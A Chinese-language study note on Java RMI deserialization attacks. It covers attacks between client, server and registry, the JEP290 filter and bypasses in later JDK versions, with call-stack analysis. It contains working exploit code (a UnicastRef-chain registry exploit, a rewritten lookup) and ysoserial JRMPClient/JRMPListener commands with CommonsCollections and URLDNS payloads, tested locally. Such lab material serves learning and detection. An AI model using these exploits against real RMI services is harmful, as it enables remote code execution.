背景

4年前学习过但是工作中几乎用不到已经忘了,基于最近的契机简单重新一下RMI相关的知识点。
目标:了解攻击面、利用方法、了解原理&利用链的构造、检测方法

from internet ,for internet

相关概念如下:

RMI:remote method invocation(Remote Method Invocation,远程方法调用)
JRMP:Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写。

Java本身对RMI规范的实现默认使用的是JRMP协议。Weblogic对RMI规范的实现使用T3协议

Java RMI通信简述:RPC通信时,client的obj需要调用server的接口:1)client首先通过RMIRegistry知道 server在哪里(底层是stub,封装了server远程对象的信息) 2)请求Server的接口参数和返回数据全部通过序列化传输 。

不考虑绕过的情况:

(jdk版本升级后的情况)绕过的情况:

首次整理:2020年5月11日
更新时间:2024年5月11日

RMI的一个经典例子

先看一个已经烂大街的demo,本地代码参考 rmi

1、客户端和服务端定义好接口Hello

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello() throws RemoteException;
}

2、服务端实现接口实现类HelloImpl(继承UnicastRemoteObject)

package com.example.basicstudy.rmi;

import ysoserial.payloads.URLDNS;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;


public class HelloImpl  extends UnicastRemoteObject implements Hello{

    protected HelloImpl() throws RemoteException {
    }

    @Override
    public String sayHello() throws RemoteException {
        return "hello world";
    }

}

3、服务端注册 对象到RMIRegistry 供客户端调用

package com.example.basicstudy.rmi;

import java.rmi.Naming;
import java.rmi.RMISecurityManager;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer  {


    public static void main(String args[]) {
        try {
            System.out.println("[*] rmi server start...");

            HelloImpl obj = new HelloImpl();
//            Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 1098);  (如果obj没有继承 UnicastRemoteObject)

            // Bind the remote object's stub in the registry
            Registry registry = LocateRegistry.createRegistry(1099); //  LocateRegistry.getRegistry(1099);
            registry.rebind("Hello", obj);
//            等同于
//            Naming.rebind("rmi://127.0.0.1:1099/Hello", obj);

            System.err.println("Server ready");

        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

4、客户端在RMIRegistry根据name搜索到对象,调用方法完成一次RMI调用

package com.example.basicstudy.rmi;

import ysoserial.payloads.URLDNS;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteStub;
import java.util.Arrays;

public class RMIClient {

    private RMIClient() {}

    public static void main(String[] args) throws Exception {

        new RMIClient().test01HelloWorld();

    }

    /**
     * RMI原理demo:rmi client调用rmi server的方法
     * */
    public void test01HelloWorld() {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            // 2024-04-30
            Hello stub = (Hello) registry.lookup("Hello");

//            Hello stub = (Hello)Naming.lookup("rmi://127.0.0.1:1099/Hello");

            String response = stub.sayHello();
            System.out.println("response: " + response);

        } catch (Exception e) {
            System.err.println("Client exception: " + e.toString());
            e.printStackTrace();
        }
    }

}

RMI调用成功:

原理分析关键点:
1)接口对象的传输涉及到序列化和反序列化
(忽略这个2. 如果接口参数类型的子类在client和server上没有,则需要去指定的codebase(java.rmi.server.codebase)加载(默认不开)——

2)实际远程方法的调用在UnicastServerRef#dispatch中:

  • unmarshalParameters解析参数 (UnicastRef#unmarshalValue 获取)
  • var42.invoke(var1, var9):反射调用获取结果。

参数解析位置:

//  (UnicastRef#unmarshalValue 获取)
    protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
        if (var0.isPrimitive()) {
            if (var0 == Integer.TYPE) {
                return var1.readInt();
            } else if (var0 == Boolean.TYPE) {
                return var1.readBoolean();
            } else if (var0 == Byte.TYPE) {
                return var1.readByte();
            } else if (var0 == Character.TYPE) {
                return var1.readChar();
            } else if (var0 == Short.TYPE) {
                return var1.readShort();
            } else if (var0 == Long.TYPE) {
                return var1.readLong();
            } else if (var0 == Float.TYPE) {
                return var1.readFloat();
            } else if (var0 == Double.TYPE) {
                return var1.readDouble();
            } else {
                throw new Error("Unrecognized primitive type: " + var0);
            }
        } else {
            return var1.readObject();   // here
        }
    }

函数调用时:

源码分析:
1、https://tttang.com/archive/1530/
2、https://www.cnblogs.com/binarylei/p/12115986.html

RMI相关的攻击面(Server和Client)

对象:RMI Client、 RMI Server、RMI Registry

RMI Client攻击 RMI Server ✅

参考参考链接1

条件:接口存在 Object参数(如下面的testAttackRMIServer函数的参数为Object)
攻击方法:client构造恶意对象,触发服务端反序列化
参考 test02AttackRMIServer

Hello接口 新增一个 testAttackRMIServer 函数,参数为Object

package com.example.basicstudy.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello() throws RemoteException;

    String testAttackRMIServer(Object o) throws RemoteException;

}

HelloImpl: 实现这个接口testAttackRMIServer,返回个字符串。


package com.example.basicstudy.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;


public class HelloImpl  extends UnicastRemoteObject implements Hello{

    protected HelloImpl() throws RemoteException {
    }

    @Override
    public String sayHello() throws RemoteException {
        return "hello world";
    }

    @Override
    public String testAttackRMIServer(Object o) throws RemoteException {
        System.out.println("testAttackRMIServer obj: " +  o.toString());
        return "hello testAttackRMIServer";

    }
}

RMI Client 在registry拿到stub后,调用该危险的函数,发送一个恶意的对象(这里用URLDNS为例,发过去 触发RMI Server中的反序列化)

    public  void test02AttackRMIServer() throws Exception {
        Hello stub = (Hello)Naming.lookup("rmi://127.0.0.1:1099/Hello");
        System.out.println(stub.testAttackRMIServer(new URLDNS().getObject("http://test.s.dlsr.icu")));
    }

利用成功。

原理分析,在获取客户端参数时触发Server中的UnicastRef#unmarshalValue 中的readObject导致反序列化。

resolveClass:198, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unmarshalValue:326, UnicastRef (sun.rmi.server)     // Server获取Client传递过来的参数时,在UnicastRef#unmarshalValue中 触发反序列化
dispatch:308, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 827278896 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

如何发现这样的接口和利用?参考:RMI 相关工具使用 - RmiTaste

RMI Server攻击 RMI Client ✅

同理,HelloImpl 增加一个接口,返回一个Object(这里为URLDNS链中的恶意的hashmap对象)。

    @Override
    public Object testAttackRMIClient(String msg) throws Exception {
        System.out.println("testAttackRMIClient msg: " +  msg);
        return new URLDNS().getObject("http://test.testAttackRMIClient.s.dlsr.icu");
    }
    

RMIClient调用该接口,会接受一个恶意的对象,触发反序列化,发起DNS请求:

    public  void test03AttackRMIClient() throws Exception {
        Hello stub = (Hello)Naming.lookup("rmi://127.0.0.1:1099/Hello");
        System.out.println(stub.testAttackRMIClient("test test03AttackRMIClient"));
    }

利用成功。

Server的调用栈几乎同上,Server返回的Object为恶意的Object

testAttackRMIClient:36, HelloImpl (com.example.basicstudy.rmi)      // 这里返回一个恶意的Object给客户端
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)                                                  //反射调用 Server实现的方法
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 2082672303 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

原理分析:Client处理Server返回的数据时,调用栈如下:同样在 UnicastRef#unmarshalValue 中触发readObject导致反序列化。

resolveClass:198, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unmarshalValue:326, UnicastRef (sun.rmi.server)    // trigger here
invoke:175, UnicastRef (sun.rmi.server)
invokeRemoteMethod:194, RemoteObjectInvocationHandler (java.rmi.server)
invoke:148, RemoteObjectInvocationHandler (java.rmi.server)
testAttackRMIClient:-1, $Proxy0 (com.sun.proxy)
test03AttackRMIClient:85, RMIClient (com.example.basicstudy.rmi)
main:36, RMIClient (com.example.basicstudy.rmi)

RMIRegistry的攻击方法

简述

jdk版本 fix 利用方法 反序列化触发点
<8u121 registry.bind(name, remote); bind一个动态代理的恶意对象

参考:ysoserial RMIRegistryExploit
RegistryImpl_Skel#dispatch中 bind之前的readObject
- 自定义dgc请求

参考:ysoserial JRMPClient
DGCImpl_Skel#dispatch的 dirty和clean 前的readObject
8u121 Jep290
- RegistryImpl.java#registryFilter
- DGCImpl#checkInput
- trustURLCodebase=false
UnicastRef链,让RMIRegistry作为DGC客户端请求恶意的RMIRegistry

参考:1)本地利用代码 2)ysoserial JRMPListener
RegistryImpl_Skel
#dispatch
->
bind之前的var2.releaseInputStream()
->
DGCImpl_Stub#dirty
8u141 RegistryImpl_Skel.java#dispatch中针对bind/rebind等操作增加ACL限制:RegistryImpl#checkAccess 重写RegistryImpl_Stub#lookup,发送Object而非string类型,触发RegistryImpl_Skel#dispatch中lookup中的var2.releaseInputStream 同上
不过是lookup之前的 var2.releaseInputStream()
8u231 1)var2.releaseInputStream前清除反连地址
2)DGCImpl_Stub#dirty/clean前增加白名单
UnicastRemoteObject链(blackhat2019 ) RegistryImpl_Skel
#dispatch lookup前的readObject
8u241 1)强制类型转换,RegistryImpl_Skel lookup等方法获取String
2)修复 UnicastRemoteObject链:
RemoteObjectInvocationHandler #invokeRemoteMethod invoke前检查类是否实现Remote接口
- 利用自定义方法
    /**
     * 1) jdk  < 8u121  fix:无
     *                  利用1: registry.bind(name, remote);  bind一个动态代理的恶意对象 触发  RegistryImpl_Skel#dispatch中 bind之前的readObject。(参考ysoserial RMIRegistryExploit)
     *                  利用2: dgc请求  直接触发  DGCImpl_Skel#dispatch的  dirty和clean  前的readObject (参考ysoserial JRMPClient)
     * 2) jdk = 8u121  fix: jep290( RegistryImpl.java#registryFilter、sun.rmi.transport.DGCImpl#checkInput、trustURLCodebase=false),1和2相当于反序列化白名单
     *                 2绕过:利用RegistryImpl白名单中的UnicastRef链 实现二次反序列化,调用releaseInputStream触发DGC请求;在DGCImpl_Stub请求恶意的RMIRegistry反序列化任意类。
     * 2) jdk  = 8u141  fix: RegistryImpl_Skel.java#dispatch中调用RegistryImpl#checkAccess 地址检测
     *                 3绕过1:重写RegistryImpl_Stub#lookup,发送Object而非string类型,触发RegistryImpl_Skel#dispatch中bind中的readObject
     *                 绕过2:不进入oldDispatch,调用自定义方法(Registry.bind)
     * 3) jdk  = 8u231  fix: 1)RegistryImpl_Skel中触发JRMP反连前(StreamRemoteCall#releaseInputStream前),清除UnicastRef的反连地址
     *                        2)DGCImpl_Stub#dirty/clean前增加白名单:(DGCImpl_Stub#leaseFilter)
     *                 4绕过:UnicastRemoteObject(blackhat 2019)链
     * 4) jdk  = 8u241  fix: 1)强制类型转换,RegistryImpl_Skel lookup等方法获取String
     *                        2)修复 UnicastRemoteObject链:RemoteObjectInvocationHandler#invokeRemoteMethod invoke前检查类是否实现Remote接口
     *                  绕过:利用自定义方法
     * */

1、jdk<8u121(无任何限制)

1)RMI Server 攻击RMI Registry 1099端口 ✅ (bind恶意的remote对象到注册中心)

原理:RMI Server在注册中心bind一个恶意的remote对象,触发RMI Registry(RegistryImpl_Skel中的反序列化)
攻击方法:ysoserial RMIRegistryExploit ,参考链接1

java  -cp ~/Downloads/ysoserial-all.jar   ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 URLDNS http://testycx.d.s.dlsr.icu

攻击代码:ysoserial.exploit.RMIRegistryExploit

核心逻辑:ysoserial.exploit.RMIRegistryExploit
反射获取对应的恶意序列化对象(payloadObj.getObject(command);) -> 放到hashmap中 -> 动态代理 createMemoitizedProxy 把hashmap变成remote对象 -> bind到registry服务中触发反序列化。

为什么要通过动态代理这样做?参考动态代理的原理:https://xz.aliyun.com/t/9197 (动态代理相对静态代理,在接口变化时不需要修改委托类和代理类,避免反复修改) (触发过程有点复杂)

public static void exploit(final Registry registry,
			final Class<? extends ObjectPayload> payloadClass,
			final String command) throws Exception {
		new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
			ObjectPayload payloadObj = payloadClass.newInstance();
            Object payload = payloadObj.getObject(command);
			String name = "pwned" + System.nanoTime();

			// 20240507 为什么需要动态代理把恶意对象Map变成remote类型?
			Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
			try {
				registry.bind(name, remote);
			} catch (Throwable e) {
				e.printStackTrace();
			}
			Utils.releasePayload(payloadObj, payload);
			return null;
		}});

原理分析:参考 RegistryImpl_Skel#dispatch ,触发点在 var10.readObject()

调用栈:

resolveClass:198, MarshalInputStream (sun.rmi.server)      //  MarshalInputStream 非ObjectInputStream(常见的rasp拿不到数据)
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readProxyDesc:1576, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)               // trigger here
oldDispatch:410, UnicastServerRef (sun.rmi.server)  
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 859081915 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

2)RMI Client 攻击 RMI Registry 1099端口 ✅ (DGC通信:DGCImpl_Skel#dispatch dirty)

原理:makeDGCCall 攻击 DGCImpl_Skel的dispatch,触发反序列化 参考:https://zhuanlan.zhihu.com/p/407782929

makeDGCCall函数发送生成的payload,攻击目标是由RMI侦听器实现的远程DGC(Distributed GarbageCollection,分布式垃圾收集器)。它可以攻击任何RMI侦听器,因为RMI框架采用DGC来管理远程对象的生命周期,通过与DGC通信的方式发送恶意payload让注册中心反序列化。

https://zhuanlan.zhihu.com/p/407782929

利用:

java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 URLDNS http://test.jrmpclient-attack-rmiregistry.s.dlsr.icu

java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections1 "open /System/Applications/Calculator.app"

img

触发点:DGCImpl_Skel#dispatch的 case0/case1中的readObject

image-20240524001228221

调用栈:

resolveClass:198, MarshalInputStream (sun.rmi.server)    // 反序列化
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
dispatch:-1, DGCImpl_Skel (sun.rmi.transport)           // trigger here
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 983939482 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

思考题:
1、这两个地方的对象是否有区别?比如bind时对象必须要实现Remote接口,DGC时不需要?

2、jdk >= 8u121 :新增jep290 check,通过 UnicastRef链绕过

JEP290是什么?

JEP290是对RMI Registry与RMI DGC做的白名单限制,并没有对JRMP回连逻辑做限制,而白名单中的UnicastRef类会建立JRMP请求并对返回数据做反序列化处理,所以导致二次反序列化问题

原理参考:https://blog.0kami.cn/blog/2020/rmi-registry-security-problem-20200206/#1-unicastref

JEP290中的限制,RegistryImpl 中增加了反序列化的白名单,因此不在白名单中的类无法反序列化。

    private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo var0) {
        if (registryFilter != null) {
            ObjectInputFilter.Status var1 = registryFilter.checkInput(var0);
            if (var1 != Status.UNDECIDED) {
                return var1;
            }
        }

        if (var0.depth() > 20L) {
            return Status.REJECTED;
        } else {
            Class var2 = var0.serialClass();
            if (var2 != null) {
                if (!var2.isArray()) {
                    return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
                } else {
                    return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
                }
            } else {
                return Status.UNDECIDED;
            }
        }
    }

如何绕过?利用白名单中的类,UnicastRef类被证明可利用:可让RMI Registry作为客户端查询 发起DGC请求 恶意的RMI Registry,触发客户端的反序列化。由于DGC请求时的类为DGCImpl_Stub,没有jep290限制,可以反序列化任意类。利用流程:

利用方式点:

1、 构造一个恶意的RMI Registry,监听在10999端口

java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections6 "open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"

2、 bind 恶意对象(UnicastRef)到Registry : (对应ysoserial中的 payloads/JRMPClient.java )

package com.example.basicstudy.rmi;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.RMISecurityManager;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.UnicastRemoteObject;
import java.util.Random;

public class RMIRegistryExploit8u121UnicastRef  {


    // 1. 开启 JRMPListener (恶意的RMIRegistry)
    // java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections6 "open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"

    // 2. 条件:RMIRegistry 没有限制 注册Server的来源 &&  DGCImpl_Stub 没有 白名单限制
    
    public static void main(String args[]) {
        try {
            System.out.println("[*] rmi server  (RMIRegistryExploit8u121UnicastRef) start...");

            Registry registry = LocateRegistry.getRegistry(1099);

            ObjID id = new ObjID(new Random().nextInt()); // RMI registry
            TCPEndpoint te = new TCPEndpoint("127.0.0.1", 10999);
            UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
            RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
            Registry proxy = (Registry) Proxy.newProxyInstance(RMIRegistryExploit8u121UnicastRef.class.getClassLoader(), new Class[]{Registry.class}, obj); // 可以省略

            registry.rebind("hello2", proxy);

            System.err.println("Server ready");

        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

测试环境:还是用jdk8u40测试,(实际测试 jdk8u191中 DGCImpl_Stub中存在 白名单限制)

利用成功后,RMI Registry会作为客户端发起DGC请求恶意恶意的RMI Registry 10999端口:

漏洞触发点:在releaseInputStream中触发反序列化

image-20240523235539664

调用栈:

resolveClass:198, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)        // end here
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)        // 作为客户端,发起dgc请求 
makeDirtyCall:361, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:303, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:139, DGCClient (sun.rmi.transport)
registerRefs:94, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)   //  var2.releaseInputStream();,在bind之前触发
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)               // start here: dispatch中的触发点: 
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 419636770 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

// 备注:自测readObject UnicastRef 链 反序列化的触发点不太一样,最终也可以走到DGCImpl_Stub#dirty
dirty:-1, DGCImpl_Stub (sun.rmi.transport)             // DGC Call here
makeDirtyCall:361, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:303, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:139, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)          // 
readObject:455, RemoteObject (java.rmi.server)         // trigger here
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1896, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:109, DeserializeJDK (com.example.controller)
main:42, RMIRegistryExploit8u121UnicastRef (com.example.basicstudy.rmi)

利用链原理分析:(略,尝试分析了不过后来发现大概知道原理,能用就行)

1、RemoteObject的readObject方法被重写,最后调用RemoteRef类的 ref.readExternal(in);

2、RemoteObjectInvocationHandler是RemoteObject的之类;UnicastRef是RemoteRef的子类。

UnicastRef链原理: https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf

3、jdk >= 8u141 (checkAccess 来源地址绕过)

JEP290中针对 RegistryImpl_Skel#dispatch中 在bind unbind rebind操作的开始增加了中checkAccess检查:只允许来源为本地。如:RegistryImpl.checkAccess("Registry.bind");

如何绕过?UnicastRef链的触发点在 releaseInputStream,因此可以在 lookup处理的case中触发。

如何利用?

1)重写客户端的Registry.lookup函数(RegistryImpl_Stub的lookup参数),原本只能传输String参数,重写后发送Object发给RMIRegistry反序列化 (触发 RegistryImpl_Skel 中的 lookup 中的releaseInputStream,链依然使用 UnicastRef链触发后续的DGC请求。

image-20240525162946676

重写了lookup方法使其可以传入Object类型的参数

利用代码:1、重写lookup (参考 RegistryImpl_Stub#lookup的代码重写,能触发 RegistryImpl_Skel的lookup即可) 2、传入UnicastRef链

 public class RMIRegistryExploitBy8u141Bind2LookupBypassCheckAccess {

    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            // bypass jdk8u121(jep290)  +jdk8u141 (checkAccess)   , restrict: < jdk8u231
            lookupObject(registry, getUnicastRefObject()); // trigger lookup函数

        } catch (Exception e) {
            System.err.println("Client exception: " + e.toString());
            e.printStackTrace();
        }
    }

    // see also ysoserial.payloads.JRMPClient
    private static Object getUnicastRefObject() {
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 10999);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
//        Registry proxy = (Registry) Proxy.newProxyInstance(RMIRegistryExploit8u121UnicastRef.class.getClassLoader(), new Class[]{Registry.class}, obj);
//        return proxy;
        return obj;
    }

    // 本质上是重写了 RegistryImpl_Stub的lookup参数,传了一个Object过去,触发 RegistryImpl_Skel 中的 lookup case(无checkAccess限制)
    public static Remote lookupObject(Registry registry, Object var1) throws Exception {
        // RegistryImpl_Stub#bind
        try {
            // RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
            RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry,"ref");
            Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
            RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);

            try {
                ObjectOutput var3 = var2.getOutputStream();
                var3.writeObject(var1);
            } catch (IOException var18) {
                throw new MarshalException("error marshalling arguments", var18);
            }

            ref.invoke(var2);

            //处理返回信息的代码逻辑也可以删除
            // ...

            return var23;
        } catch (RuntimeException var19) {
            throw var19;
        } catch (RemoteException var20) {
            throw var20;
        } catch (NotBoundException var21) {
            throw var21;
        } catch (Exception var22) {
            throw new UnexpectedException("undeclared checked exception", var22);
        }
    }
}

调用栈:

resolveClass:189, MarshalInputStream (sun.rmi.server)          
readNonProxyDesc:1868, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)      
executeCall:252, StreamRemoteCall (sun.rmi.transport)           // readObject here
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)                     // make dgc call    (fix in jdk8u231)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)    
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)    //(fix in jdk8u231,类型转换异常时后清除了反连地址,没有需要注册的了)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)     // also trigger here (lookup中的releaseInputStream)    
dispatch:113, RegistryImpl_Skel (sun.rmi.registry)              
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
